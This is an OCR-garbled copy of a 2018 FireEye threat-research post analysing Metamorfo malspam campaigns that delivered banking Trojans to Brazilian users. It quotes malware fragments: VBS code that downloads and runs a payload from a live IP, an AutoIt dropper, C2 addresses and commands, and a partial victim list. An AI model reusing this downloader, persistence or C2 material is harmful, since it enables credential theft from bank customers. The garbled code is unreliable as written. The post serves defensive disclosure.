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Metamorfo Campaigns
Targeting Brazilian Users

April 24, 2018 | by Edson Sierra, Gerardo Iglesias

FireEye Labs recently identified several widespread malspam (malware spam)
campaigns targeting Brazilian companies with the goal of delivering banking Trojans.
We are referring to these campaigns as Metamorfo. Across the stages of these
campaigns, we have observed the use of several tactics and techniques to evade
detection and deliver the malicious payload. In this blog post we dissect two of the main
campaigns and explain how they work.

Campaign #1

The Kkill chain starts with an email containing an HTML attachment with a refresh tag that
uses a Google URL shortener as the target. Figure 1 shows a sample email, and Figure 2
show the contents of the HTML file.
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Figure 1: Malicious Email with HTML Attachment

nl><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252">

a http-equiv="refresh" content="@;URL=https://goo.gl/ ">« /head><body></body></htm

Figure 2: Contents of HTML File

When the URL is loaded, it redirects the victim to a cloud storage site such as GitHub,
Dropbox, or Google Drive to download a ZIP file. An example is shown in Figure 3.

<HTML>
<HEAD=
<TITLE>Moved Permanently</TLTLE:=
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#002002">
<H1l>Moved Permanently</Hl>
The document has moved

<A HREF="https://raw.githubusercontent.com/ /master/comprovantes.zip”>here</A>.

</BODY>
</HTML>

Figure 3: URL Shortener Redirects to Github Link

The ZIP archive contains a malicious portable executable (PE) file with embedded HTML
application (HTA). The user has to unzip the archive and double-click the executable for
the infection chain to continue. The PE file is a simple HTA script compiled into an
executable. When the user double-clicks the executable, the malicious HTA file is
extracted to %temp% and executed by mshta.exe.

The HTA script (Figure 4) contains VBS code that fetches a second blob of VBS code
encoded in base64 form from hxxp://<redacted>/ilha/pz/logs.php.

J<HTML>

1 <HEAD>
<HTA:APPLICATICN ID="oHTA"
APPLICATIONNAME="windowsupdatce™
WINDOWSTATE="minimize"
MOAXNTMIZEBUTLTON="nao™
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CAPTICN="no"
SHOWINTASEEBAR="no"
] >
] <Script>

g </script>

]J<script language="VBScript">

intLeft = window.screenLeft
intTop = window.screenTop

window.movelo —2000,-2000

Sub Window_CnLoad

EBNSEKDEFJSEKDJFK = BENSKDEJSEKEDJFE & T"AGeDzUvg"™ & "BJSSAKSAJASAKSAKSAKA™

BEBNSKDFJSKDJFK = BENSKDFJSKDJFK & "AGEDzUvg" & "BJSSAKSAJASAKOAKSRKA"
sRequest = "c" & "=" g ©g5" g nwgw

BENSKDFJSKDJFK = BENSKDEJSKDJFK & "AGEDzUvg"™ & "BJSSAKSAJAIAKOAKORKA"
BBNSKDFJSKDJFK = BBENSKDFJSKDJFK & "AGEDzUvg"™ & "BJSSAKEAJASAKIAKIAKA™

BEENSEDFJSEDJFE = EBENSEDFJSEDJFE & "AGEeDzUwg"™ & "BJSSAKEAJASAKSAKOLEA"

=zet oHITP = CreateObject("Microzofc. XMLHTTE"™)

BEENSEDEFJSEDJFE = EBENSEDFJSEDJFE & "AGEDzUwvg"™ & "BJSSAKEAJASAKSAKOAEA"

BBNSEKDFJSEDJFE = BENSEDFJSEDJFE & "AGEDzUvg"™ "BJSSAKEAJAOAKOAKOOKA™

BBENSKDFJSKDJFEK BENSKDFJSKEDJFK & "AGEeDzUwg"™ & "BJSSAKSAJASAKSAKOAKA"™

]{}-L}{]{j = ﬂhr‘l E "C" E l'[tl'l E llpl’l £ l'l:rl L FI'J{I'I el FT/FI' E rr5rr E 'I'T_!'I' E 'I'T_E"TT E "31" E rl_l" E
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Figure 4: Contents of HTA File

After the second stage of VBS is decoded (Figure 5 and Figure 6), the script downloads
the final stage from hxxp://<redacted>/28022018/pz.zip.

Set FSt CreateObject("Scripting.FileSystemObject")

strFile "C:\\Users\\Public\\administrador\\vm.png"

strRename = "C:\\Users\\Public\\administrador\\" & fuxico & ".exe"
If FSt.FileExists(strFile) Then

FSt.MoveFile strFile, strRename
End If
Set FSt = Nothing
set objshell = c eobject("wscript.shell")
objshell.run "cmd.exe /k C:XlUsersNPublic\administrador\" & fuxico & ".exe",vbhide

Figure 5: Contents of Decoded VBS
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Set fso = CreateObject("Script" & "ing.FileSystem" & "Object")

If NOT fso.FolderExists("C:\\Users\\Public\\administrador") Then
fso.CreateFolder("C:\\Users\\Public\\administrador")
strFileURL = "http://5.83.162.24/28022018/pz.zip"

strHDLocation = "C:\\Users\\Public\\administrador\\983920.zip"
Set variavell® = CreateObject("MSX" & "ML2.XMLHT" & "TP")
variavell®.open "GET", strFileURL, False
variavell®.send

Figure 6: More Contents of Decoded VBS

The downloaded ZIP file contains four files. Two are PE files. One is a legitimate
Windows tool, pvk2pfx.exe, that is abused for DLL side-loading. One is the malicious
banking Trojan as the DLL.

The VBS code unzips the archive, changes the extension of the legitimate Windows tool
from .png to .exe, and renames the malicious DLL as cryptui.dil. The VBS code also
creates a file in C:\Users\Public\Administrador\car.dat with random strings. These
random strings are used to name the Windows tool, which is then executed. Since this
tool depends on a legitimate DLL named cryptui.dll, the search order path will find the
malicious Trojan with the same name in the same directory and load it into its process
space.

In Q4 of 2017, a similar malspam campaign delivered the same banking Trojan by using
an embedded JAR file attached in the email instead of an HTML attachment. On
execution, the Java code downloaded a ZIP archive from a cloud file hosting site such as
Google Drive, Dropbox, or Github. The ZIP archive contained a legitimate Microsoft tool
and the malicious Trojan.

Banking Trojan Analysis

The Trojan expects to be located in the hardcoded directory
C:\\Users\\Public\Administrador\\ along with three other files to start execution. As
seen in Figure 7, these files are:

e car.dat (randomly generated name given to Windows tool)
e i4.dt (VBS script that downloads the same zip file)
e id (ID given to host)
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e Crypuul.all (maliCious 1rojan)

| car.dat

%, Cryptundll
i4.dt
id

B vm

Figure 7: Contents of ZIP Archive

Persistence

The string found in the file C:\\Users\\Public\\Administrador\\car.dat is extracted and

used to add the registry key Software\Microsoft\Windows\CurrentVersion\Run\<string

from car.dat> for persistence, as shown in Figure 8.

push < otui.1931F44
lea edx.,dword ptr
mov eax,dword ptr
mov eax,dword ptr
call cryptui.l777DCB

push dword ptr ss:|[ebp-235]
push ¢ tui.l1931F
lea eax,dword ptr ss:[ebp-zaf)
mov edx,

€all cryptui.lE64A2ES

mov eax,dword ptr ss:[ebp-24]
push eax

lea edx,dword ptr ss:

mov eax,dword ptr
mov eax,dword ptr ds:
€all cryptui.l777DCB
mov edx,dword ptr ss:|Jebp-2CJ§
mov eax,dword ptr ss:fgebp

pop ecx
call cryptui.1745E14

XOor eax,eax

pop edx

pop ecx

pop ecx

mov dword ptr Ts:[eax],edx
push crypti 1921EBF1

mov eax,dword ptr ss:
call cryptui.i1745218
mov eax,dword ptr ss:[febp-CJ)
€d11 cryptui.l647790

ret

jmp cryptui.i1648A28

jmp cryptui.1931BD9

mov eax,dword ptr _-_-:|;e:_': 1] .

mov eax,dword ptr ds
mov dl,

[ebp-24]:L"cmd.exe /k C:‘\M\Users\“Public

=f C\Users\Public\Administradorcar.dat - Notepad++

File Edit Search View Encoding Language

(& ] 2 1o U ={| |__ ﬂ ._‘:5; &3 s

= zardat E3 |

ffasdasd

ffasdasd. exe”

Window

Plugins

bl _J 3

lffasdasd

Figure 8: Reading from car.dat File

The sample also looks for a file named i4.dt in the same directory and extracts the
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in \Software\Microsoft\Windows\CurrentVersion\Run to open this file.

4 HKCU\SOFTWARE Microsoft\Windows'\Curent Version \Aun
J| =7 fasdasd PVKS/SPC to PFX fie conve... Microsoft Camporation cwsers’publicadministradorfasdasd exe
7| 2 lcones c:\users'\publichicone.vbs

Figure 9: Persistence Keys

The VBS code in this file (Figure 10) has the ability to recreate the whole chain and
download the same ZIP archive.

If SetLocale() = (1801 + 45) Then
On Error Resume Mext

e & chr(13)

" " & chr{13)

" EwxDig"x Y»3l73(pUp’, PRAFAAPL)" & chr(13)

pAe THTTP = Cpdeii0=2£4De (""M"" & ""pbu p"" & """~ 2.XML"" & ""HT"" & ""TP"")" & chr(13)
pUp* = "Maltn g mugnm g wug " o bt R ) "E MM g pUp " & chr{i3)
“HTTP.”3%x ""PQ"" & ""ST ,"2°b3" & chr(13)

'H'I'FP-h’leif»’lhiH’a“i’au Wi i IARE=TUN & MMRIZUN WNQI3GNN g NEPQ, TN g Mg
“HTTP.pALREAF»4pLHEOS%p ""CTx"" & ""Idxd—-LExi"" & ""&+"", Lix(pRAf»%pe)" & chr(13)
“HTTP.p%x§ pREf»%pl" & chr(13)

" T3 = THTTP. &b xp3THiL" & chr(13)

" Ex§ F»xBlg x" & chr(13)

" " & chr(13)

" & chr(13)

e & chr(13)

"slirL =" & """i" & "b" & "a" & "m" & "2a" & "Nn" & Ye" & "t" & "1" & K" & 2" & "m" & A"
“bRYf»3pe = "D & "G e o chr(13)

"itli o= &»3273(pUp", bRYLFZpL)"™ & chr(13)

"F130»e%(111i)" & chr(13)

e & chr(13)

" & chr(13)

x6zxzx58zcxcS5fg
x6zxzx58zcxc5fg
®6zxzxn582cxc5fg
x6zxzx58zcxc5Tg
xbzxzx58zcxc5fg
®6zxzx582cxc5fg
x6zxzx58zcxc5fg
xBzxzx58zcxc5fg
x6zxzx58zcxc5fg
x6zxzx58zcxc5fg
x6zxzx58zcxc5fg
x6zxzx58zcxc5fg
xbzxzx58zcxc5fg
x6zxzx58zcxc5fg
x6zxzx58zcxc51g
xBzxzx58zcxc5fg
x6zxzx58zcxc5fg
x6zxzx58zcxc5Tg
x6zxzx58zcxc5fg
x6zxzx58zcxc5fg

x6zxzx58zcxc5Tg
x6zxzx58zcxc5fg
w62xzx582cxc5fg
x6zxzx58zcxc5fg ¢
x6zxzx58zcxc5fg
x62xzx582cxc5fg
x6zxzx58zcxc5fg
x6zxzx58zcxc5fg
x6zxzx58zcxc5Tg
x6zxzx58zcxc5fg
x6zxzx58zcxc5fg
x6zxzx58zcxc5fg
x6zxzx58zcxc5Tg ¢
xBzxzx58zcxe5fg
x6zxzx58zcxc5fg
xBzxzx58zcxc5fg
x6zxzx58zcxec5fg
x6zxzx58zcxc5Tg
x6zxzx58zcxc5fg
xB6zxzx58zcxc5fg

PR RR

e

PR

e

WScript.Sleep 10000
x6zxzx58zcxc5fg = x6zxzx58zcxcS5fg & "" & chr(l3)

Figure 10: Contents of VBS Script
Next, the Trojan searches for several folders in the Program Files directories, including:

e C:\\Program Files\\AVG

C:\\Program Files\\AVAST Software
C:\\Program Files\\Diebold\\Warsaw
C:\\Program Files\\Trusteer\\Rapport
C:\\Program Files\\Java

C:\\Program Files (x86)\\scpbrad

If any of the folders are found, this information, along with the hostname and Operating
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QYSLEIINl VEISIOIL, IS5 5CIIL LO d 1idracoueu uolriidill willl Lie 1ndracoueu vuser-AgelriL vaiue
“Mozilla/5.0 (Windows NT 6.1; WOWG64; rv:12.0) Gecko/20100101 Firefox/12.0” in the
format shown in Figure 11. The value of AT is “<host_name+0OS&MD >=<list of folders
found>".

POST /av/pz/page2.php HTTP/1.0

Connection: Keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 65

Host: alonsolazaro.com

Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*,q=0.8
Accept-Encoding: identity

User-Agent: Mozillas5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20160101 Firefox/12.0

AT=WIN-E2BVO1BF720++Windows+7+Professional+-+6.1+-+7600&MD=+JAVA+HTTP/1.1 200 0K

Figure 11: Network Traffic for Host Enumeration

The sample iterates through the running processes, kills the following, and prevents them
from launching:

e msconfig.exe

¢ TASKMGR.exe

e regedit.exe

e ccleaner64.exe

e taskmgr.exe

e itauaplicativo.exe

Next, it uses GetForegroundWindow to get a handle to the window the user is viewing
and GetWindowText to extract the title of the window. The title is compared against a
hardcoded list of Brazilian banking and digital coin sites. The list is extensive and
includes major organizations and smaller entities alike.

If any of those names are found and the browser is one of the following, the Trojan will
terminate that browser.

firefox.exe
chrome.exe
opera.exe
safari.exe
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The folder C:\Users\Public\Administrador\logs\ is created to store screenshots, as well
as the number of mouse clicks the user has triggered while browsing the banking sites
(Figure 12). The screenshots are continuously saved as .jpg images.

| ger - Notepad

File Edit Format View Help
[mouse click]l [mouse click]2

Figure 12: Malware Capturing Mouse Clicks

Command and Control

The command and control (C2) server is selected based on the string in the file “id”:

al ->'185.43.209[.]182’
ar ->'212.237.46[.]16'
pz->'87.98.146[.]134'
mn ->’80.211.140[.]235’

The connection to one of the hosts is then started over raw TCP on port 9999. The
command and control communication generally follows the pattern <|Command |>, for
example:

e '<|dispidal>logs>SAVE<’ sends the screenshots collected in gh.txt.

e '<PING>' is sent from C2 to host, and '<PONG>' is sent from host to C2, to keep the
connection alive.

e '<|INFO|>' retrieves when the infection first started based on the file timestamp
from car.dat along with '<|>" and the host information.

PDEmyURL
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based on the strings found in the file “id”. After further researching the associated
infrastructure of the C2 (Figure 13), we were able to find potential number of victims for
this particular campaign.

Figure 13: Command and Control Server Open Directories

Inside the open directories, we were able to get the following directories corresponding
to the different active campaigns. Inside each directory we could find statistics with the
number of victims reporting to the C2. As of 3/27/2018, the numbers were:

e al - 843
e ap - 879
e gr-397
o kk - 2,153
e mnh - 296
e pz-536
e tm -187

A diagram summarizing Campaign #1 is shown in Figure 14.

E Infected Email

== html Attachment with
— url shortner

+ J/

Cloud Hosting provider

.zip file with PE file
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Figure 14: Infection Chain of Campaign #1

Campaign #2

In the second campaign, FireEye Labs observed emails with links to legitimate domains
(such as hxxps://s3-ap-northeast-
l.amazonaws[.Jcom/<redacted>/Boleto_Protesto_Mes_Marco_2018.html) or
compromised domains (such as hxxps://curetusu.<redacted>-industria[.]site/) that use a
refresh tag with a URL shortener as the target. The URL shortener redirects the user to an
online storage site, such as Google Drive, Github, or Dropbox, that hosts a malicious ZIP
file. A sample phishing email is shown in Figure 15.

From QWSS <qzpWXSSE com.br>

Subject Fatura em atraso KARINA « i - 2701 1B 870

[%] Right-cick here to downioad pictures. To help protect
your privacy, Outiock prevenbed automabc downlosd of
this picture from the Enternet.

Boa tarde

KARINA
27011891870

Ha uma pendéncia no seu nome registrada em nosso sistema, trata-se de uma cobranga no valor de R$ 1280,29 todos os débitos vencidos a mais de 28 dias serfio protestados.
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Atualize sua cobranca: CLIQUE  AQUI
Chave do arquivo: BI339831801BR

ACESSAR SISTEMA

Att [Marcus Vinicius | Setor de Cobrangas

Figure 15: Example Phishing Email

The ZIP file contains a malicious executable written in Autolt (contents of this executable
are shown in Figur 16). When executed by the user, it drops a VBS file to a randomly
created and named directory (such as C:\mYPdr\TkCJLAPX\HwoC\mYPdr.vbs) and
fetches contents from the C2 server.

$randomStr = randomStrGen(5)

$randomStrl = randomStrGen(8)

$random5tr2 = randomStrGen(4)

Const $randPath = @HomeDrive & "\" & $randomStr & "\" & $randomStrl & "\" & $ranmdomStr2
$randPathSlash = $randPath & "\"

$localdllfile = $randPathSlash & base64decodeFunc("Q1JZU

s$randomExePath = $randPathSlas $ra aseb4decodeFunc("L

$bUrl = base64decodeFunc("aH I ! 93M2 f/https://panel-dark.com/w3af/img2. jpg
$bUrl2 = base64decodeFunc("aHR ME L N 2Fm zEuanBn" ) //https://panel-dark.com/w3af/imgl. jpg

Figure 16: Contents of Malicious Autolt Executable

Two files are downloaded from the C2 server. One is a legitimate Microsoft tool and the
other is a malicious DLL:

e https[:1//panel-dark[.Jcom/w3af/img2.jpg
e https[:1//panel-dark[.Jcom/w3af/imgl.jpg

Those files are downloaded and saved into random directories named with the following
patterns:

e <current user dir>\<5 random chars>\<8 random chars>\<4 random chars>\<5
random chars>.exe

e <current user dir>\<5 random chars>\<8 random chars>\<4 random
chars>\CRYPTUI.dII

The execution chain ensures that persistence is set on the affected system using a .Ink file
in the Startup directory. The .Ink file shown in Figure 17 opens the malicious VBS dropped
on the system.
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] C:\Users\REM"App Data"Roaming"Microsoft \Windows\Start Menu'Programs"\Startup

Figure 17: Persistence Key

The VBS file (Figure 18) will launch and execute the downloaded legitimate Windows
tool, which in this case is Certmgr.exe. This tool will be abused using the DLL side loading
technique. The malicious Cryptui.dll is loaded into the program instead of the legitimate
one and executed.

| ObKIQ.vbs - Notepad

File Edit Format View Help

Dim objShell

Set objShell = WScript.CreateObject( "WScript.Shell" )
objShell.Run("""C: \ObKIQ\cfYaVXnY\mfGA\ObKIQ.exe"""),08, False
Set objShell = Nothing

Figure 18: Contents of Dropped VBS File

Banking Trojan Analysis

Like the Trojan from the first campaign, this sample is executed through search-order
hijacking. In this case, the binary abused is a legitimate Windows tool, Certmgr.exe, that
loads Cryptui.dll. Since this tool depends on a legitimate DLL named cryptui.dll, the
search order path will find the malicious Trojan with the same name in the same directory
and load it into its process space.

The malicious DLL exports 21 functions. Only DIIEntryPoint contains real code that is
necessary to start the execution of the malicious code. The other functions return
hardcoded values that serve no real purpose.

On execution, the Trojan creates a mutex called "correria24" to allow only one instance

of it to run at a time.
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The malware attempts to resolve “www.goole[.Jcom” (most likely a misspelling). If
successful, it sends a request to hxxp://api-api[.Jcom/json in order to detect the
external IP of the victim. The result is parsed and execution continues only if the country
code matches “BR”, as shown in Figure 19.

GET /json/ HTTP/1.1

Host: ip-api.com

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2214.115 Safari/537.36

Figure 19: Country Code Check

The malware creates an empty file in %appdata%\Mariapeirura on first execution, which
serves as a mutex lock, before attempting to send any collected information to the C2
server. This is done in order to get only one report per infected host.

The malware collects host information, base64 encodes it, and sends it to two C2
servers. The following items are gathered from the infected system:

e OS name

e OS version

e OS architecture

e AV installed

¢ List of banking software installed

e |IP address

e Directory where malware is being executed from

The information is sent to hxxp://108.61.188.171/put.php (Figure 20).

POST /put.php HTTP/1.©

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 169

Host: 172.16.153.132

Accept: text/html,application/xhtml+xml,application/xml;q=0.%,=*/+%;q=0.8
User-Agent: Mozilla/3.8 (compatible; Indy Library)

vw=102&vw=N&mods=5&uname=dXNlcg&cname=V@ LOLTNGUDZURz IWUUM3&0s=TWLjcm9zb2Z@IFdpbmRvd3MgNyBIb211IEIhc21j ICAOMZIpYml@&is
=QnJhem1sLCBCcmFzaWxpYSwaQnlhc21lsaWE&iss=02xhcmB&iav=HTTP/1.0 2088 0K

Figure 20: Host Recon Data Sent to First C2 Server

The same information is sent to panel-dark[.]Jcom/Contador/put.php (Figure 21).
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B478BOF7 mowv edx, [ebp+var_84]

8478B8FD pop eax

@478BOFE call

84788183 mow edx, [ebpt+var_8@]

04788106 mov eax, [ebp+var_8]

24788189 mow ecx, [eax]

e47eB1eB call dword ptr [ecx+3Ch]
0478B10E mov eax, [ebp+var_4]

84788111 mov eax, [eax+d44h]

847@B8117 call

8478811C add eax, OABh

84788121 mowv edx, offset aMozillaSeWindo
24788126 call

84788128 mowv eax, [ebp+var_4]

8478B12E mowv eax, [eax+444h]

84788134 call

847688139 add eax, 88h

8478B13E mow edx, offset aApplicationlse
04708143 call

84788148 mov eax, [ebp+var_4]

8478B14B mowv eax, [eax+444h]

84788151 call

84788156 mowv edx, offset aApplicationXhw @ ;
8478B15B call

8470B816@ mov eax, [ebp#var_4]

84788163 mov eax, [eax+444h]

84708169 call

847@B16E add eax, 16h

84788171 mow edx, offset aUtfs_2 ;
24788176 call

84788178 push @

8478B17D lea eax, [ebp+var_C]

84788180 push eax

84788181 mowv eax, [ebp+var_4]

8478B184 mowv eax, [eax+444h]

847@B18A mov ecx, [ebp+var_8]

8470B18D mow edx, offset aHttpsPanelDark ;
84708192 call

84788197 xor eax, eax

Figure 21: Host Recon Data Sent to Second C2 Server

The malware alters the value of registry key
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ExtendedUIHoverTime
to 2710 in order to change the number of milliseconds a thumbnail is showed while
hovering on the taskbar, as seen in Figure 22.

84551180 lea edx, [ebp#var_8]

84551116 mov eax, 9Fh

84551115 call DecryptString_w ; Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
8455111A mov edx, [ebp+var_8]

84551110 mov cl, 1

8455111F mov eax, [ebptvar_4]

84551122 call

84551127 lea edx, [ebp+var_C]

8455112A mov eax, @AGh

8455112F call DecryptString_w ; ExtendedUIHoverTime
84551134 mov edx, [ebp+var_C]

84551137 mowv ecx, BA96h

8455113C mov eax, [ebp#var_4]

8455113F call

84551144 xor eax, eax
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Figure 22: ExtendedUIHoverTime Registry Key Change

Like the Trojan from the first campaign, this sample checks if the foreground window's
title contains names of Brazilian banks and digital coins by looking for hardcoded
strings.

The malware displays fake forms on top of the banking sites and intercepts credentials
from the victims. It can also display a fake Windows Update whenever there is nefarious
activity in the background, as seen in Figure 23.

Atualizando o Windows
0% concluido(s)

N&o desligue o computador

Figure 23: Fake Form Displaying Windows Update

The sample also contains a keylogger functionality, as shown in Figure 24.

04716704 push ebp ; 'procedure Tappsraisers_108.TimerdTimer(?:?);"
84716705 mov ebp, esp

04716707 add esp, @FFFFFFB4h

0471670A xor ecx, ecx

@471670C mov [ebp+var_4C], ecx
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TSI AQ/Or v LEUPTVAI_ %40 ], ELA

04716712 mov [ebp+var_44], ecx
04716715 mov [ebp+var_ 48], ecx
04716718 mov [ebp+var_3C], ecx
0471671B mov [ebp+var_38], ecx
0471671E mov [ebp+var_30], ecx
04716721 mov [ebp+var 34], ecx
04716724 mov [ebp+var_24], edx
04716727 mov [ebp+var_4], eax
0471672A xor eax, eax

0471672C push ebp
©471672D push offset loc_4716A30
04716732 push dword ptr fs:[eax]

04716735 mov fs:[eax], esp
94716738 push 1Bh ; vKey
04716738 : ESC

0471673A call user32_GetAsyncKeyState
0471673F movsx eax, ax

04716742 mov [ebp+var_8], eax
04716745 cmp [ebp+var_8], OFFFF8@01h
0471674C jnz short loc_4716756

Figure 24: Keylogger Function

Command and Control

The Trojan’s command and control command structure is identical to the first sample.
The commands are denoted by the <|[Command|> syntax.

e <|OK|> gets a list of banking software installed on the host.

e '<PING>' is sent from C2 to host, and '<PONG>' is sent from host to C2, to keep
connection alive.

o <|dellLemb|> deletes the registry key \Software\Microsoft\Internet
Explorer\notes.

e EXECPROGAM calls ShellExecute to run the application given in the command.
e EXITEWINDOWS calls ExitWindowsEX.

¢ NOVOLEMBRETE creates and stores data sent with the command in the registry
key \Software\Microsoft\Internet Explorer\notes.

12/03/2018 &#225;8 13:05:44)108] | |Microsoft Windows 7 Ultimate (64)bit]|168. |Brazil, Sao Paulo, Poa|America-NET Ltda.||

12/03/2018 &#225;5 13:11:02|108(| IMicrosoft Windows 10 Pro (G4)bit|APP-ITA|45.1 VBrazil, Goias, Goldnia|Ling Telecomunicagoes Ltda Me|Windows Defender|
12/03/2018 £4225;s 13:42:44|101 ]| |Microsaft Windows 7 Professional (64)bit||189. |Brazil, Rio Grande do Sul, Caxias do Sul|Vive||

12/03/2018 £4225;s 16:43:28|108( | - |Microsoft Windows 7 Ultimate (32)bit||131. Brazil, Rio de Janeiro, Ouque de Caxias|Flacknet Telecomunicagdes Ltda Me|dvast Antivirus
13/03/2018 &#225;5 09:04:37]101]| |Microsoft Windows 7 Starter (32)bit|[138, |Brazil, Rio de Janeiro, Rio de Janeire|Tvanet Telecom Ltda|AVG AntiVirus Free Edition 2014|
13/03/2018 £#225;5 14:29:19|101]| |Microsoft Windows 8.1 Pro (64)bit]|201 |Brazil, Rio Grande do Sul, Passo Fundo|OL Internet|Windows Defender|

13/03/2618 &#225;s 15:36:55|168 | |Microsoft Windows & Single Language (64)bit||179.. |Brazil, Sao Paulo, S0 Bernardo do Campo|Met Ltd|wWindows Defender|

13/0%/2018 &4225;s 23:19:50|181 || |Microsoft Windows 7 Ultimate (64)bit|]181. |Brazil, Santa Catarina, Ilaﬂ=1||.ET Virtual |

1470372018 E#225;5 09:47:57|108]| |Microsoft Windows 7 Ultimate (32)bit]|187. |Brazil, Pel u-rl.smu_ Recife|0i velox|Avast Antivirus|

14/03/2018 &#225;5 21:09:48]108 || 3 IMicrosoft Windows 7 Home Basic (64)bit||189. razil, Sao Paulo, Smo Jose do Rio Preto|MET Virtua||

15/0%/2018 ‘.J.‘?S s BB:27: 012|108 | Microsoft Windows 10 Home Single Language (64)bit IIIM |Brazil, Santa Catarina, Braco do Merte|Serra Geral Solucoes Para
Internet Ltda hlvwln.us Defender|

16/03/2018 &#225;5 13:55:39|1682|| |Micres oft Windows 10 Pro (64)bit Z(H. [ Brazil, Santa Catarina, Blumenau|0i Internet|Windows Defender|

16/03/2018 £4225:4 14:04:051101 [Microsoft Windows 7 Home Premius [64|!>1t 191 Brazil, Sao Paulo, Itapevi|VivolMorton Internet Securit
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16/03/20618 &#225;5 1B:52

16/03/2018 6422 21:38; Fowy. T 1 SIMicrosoft Windows 7 Ultimate ({64)bit||187. |Brazil, Minas Gerais, Caparac|Acesse Comunicagdo Ltda|Norton Security|
17/03/2018 &4225;5 B0:45 icrosoft Windows 7 Professional ({32)bit||201. |Brazil, Ceara, Cascawel|whg- Tecnalogia Organizacional Ltda|Microsoft Security
Essentials|

17/03/2018 &#235;s 17:50: I|Microsoft Windows 10 Home Single Language (64)bit||186. s|Brazil, Rio Grande do Sul, Carazinho|Seanet Telecom Carazinho
Eireli|McAfes WirusScan|

17/03/2818 &#225;5 20:57: I IMicrosoft Windows 7 Starter (32)bit||186. |Brazil, Rio Grande do Sul, Pelotas|Vivol|

17/83/2618 &#225;s 23:56: I |Microsoft Windows 10 Home Single Language (64)bit||177.3 |Brazil, Sao Paulo, Bauru|NET Virtua|Windows Defender|

18/03/2018 &#225;5 19:408: |l J “|Microsoft Windows 18 Pro (B4)bit||177. |Brazil, Espirito Santo, Vitdria|Vivo|Windows Defender|

18/03/2018 &#225;5 20:32:47| Il |Microsoft Windows 7 Professional (64)bit]|179. M Brazil, Parana, Maringd|vivo||

19/03/2018 54225;5 13:09:51|102(| |Hicraseft Windows 10 Pro (64)bit]]177. V| Brazil, Parana, Curitiba|Vive|Windows Defender|

19/03/2618 £#225:5 17:51:43]161]| |Microsoft Windows 8 Single Language (64)bit||206. I|Brazil, Mato Grosso, Barra do Bugres|0i Internet |Baidu Antivirus|

19/03/2018 &#225;s 22:54:12|101|| t|Microsoft Windows 10 Enterprise Evaluation (64)bit]|13a. |Brazil, Alageas, Arapiraca|R De Melo Neves Conex -

Dafandar|

20/03/2018 &#2325;s 10:37:12|181]| |Microsoft Windows 7 Professional (32)bit]|177. |Brazil, Minas Gerais, Belo Horizonte|Vivo||

20/03/2018 &#22' 17:08: 168|101 | |Microsoft Windows 7 Home Basic (32)bit||201. |Brazil, Santa Catarina, ArarangualContate Internet EIRELI||

20/03/2018 &4225;5 17:57:41| 168 | B [Microsoft Windows ¥ Ultimate (32)bit][131. |Brazil, Ceara, Caucaia|Tecnet Provedor De Acesso As Redes De Com. Ltdal|

Figure 25: Partial List of Victims

This sample contains most of the important strings encrypted. We provide the following

script (Figure 26) in order to decrypt them.

def decrypt(key, enc):
int(enc[©:2], 16

in range(2, len(enc), 2)

int(enc[i:i+2], 16)
= w ~ ord(keyl[k_ix])

1T tmp > prev
tmp (tmp - prev)

C s
tmp (tmp + Bxff) &
tmp = (tmp - prev) &
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prev = w
dec += chr(tmp)
k_ix += 1

k_ix = k_ix % len(key)

print '[+] Dec = %s' % dec
Figure 26: String Decryption Script
Conclusion

The use of multi-stage infection chains makes it challenging to research these types of
campaigns all the way through.

As demonstrated by our research, the attackers are using various techniques to evade
detection and infect unsuspecting Portuguese-speaking users with banking Trojans. The
use of public cloud infrastructure to help deliver the different stages plays a particularly
big role in delivering the malicious payload. The use of different infection methods
combined with the abuse of legitimate signed binaries to load malicious code makes
these campaigns worth highlighting.

Indicators of Compromise

Campaign #1
TYPE HASH DESCRIPTION
MD5 860fa744d8c82859b41e00761c6e25f3 PE with Embedded HTA
MD5 3e9622d1a6d7b924cefe7d3458070d98 PE with Embedded HTA

MD5 f402a482fd96b0a583be2a265acd5e74 PE with Embedded HTA

MD5 f329107f795654bfc62374f8930d1e12 PE with Embedded HTA
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MD5 789a021c051651dbc9e01c5d8c0ce129
MD5 68f818fa156d45889f36aeca5dc75a81
MD5 c2cc04be25f227b13bcb0b1d9811e2fe
MD5 6d2cb9e726c9fac0fb36afc377be3aec
MD5 dd73f749d40146b6c0d2759ba78b1764
MD5 d9d1e72165601012b9d959bd250997b3
MD5 03e4f8327fbb6844e78fda7cdae2e8ad
URL
URL
Cc2
URL
URL

Campaign #2

TYPE HASH

MD5 2999724b1aa19b8238d4217565e31c8e
MD5 181c8f19f974ad8a84b8673d487bbf0d
MD5 d3f845c84a2bd8e3589a6fbf395fea06
MD5 2365fb50eeb6c4476218507008d9a00b
MD5 d726b53461a4ec858925ed31cef15f1e

PE with Embedded HTA
PE with Embedded HTA
cryptui.dll

id

i4.dt

VBS file with commands to create staging
directories for malware

pvk2pfx.exe [Legit Windows Tool]
hxxp://5.83.162.24/ilha/pz/logs.php

hxxp://5.83.162.24/28022018/pz.zip

ibamanetibamagovbr[.Jorg/virada/pz/logs.php

sistemasagriculturagov|.]Jorg

hxxp://187.84.229.107/05022018/al.zip

DESCRIPTION
AutolT Dropper
img1.jpg [ILegit Windows Tool]
img2.jpg [Banking Trojan]
Variants of Banking Trojan

Variants of Banking Trojan
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MD5 a8b2b6e63daf4ca3e065d1751cac723b Variants of Banking Trojan

MDS5 d9682356e78c3ebcadd001de760848b0 Variants of Banking Trojan
MD5 330721de2a76eed2b461f24bab7b7160 Variants of Banking Trojan
MD5 6734245beda04dcf5af3793c5d547923 Variants of Banking Trojan
MD5 a920b668079b2¢c1b502fdaee2dd2358f Variants of Banking Trojan
MD5 fe09217cc4119dedbe85d22ad23955a1 Variants of Banking Trojan
MD5 82e2c6b0b116855816497667553bdf11 Variants of Banking Trojan
MD5 4610cdd9d737ecfa1067ac30022d793b Variants of Banking Trojan
MDS5 34a8dda75aea25d92cd66da53a718589 Variants of Banking Trojan
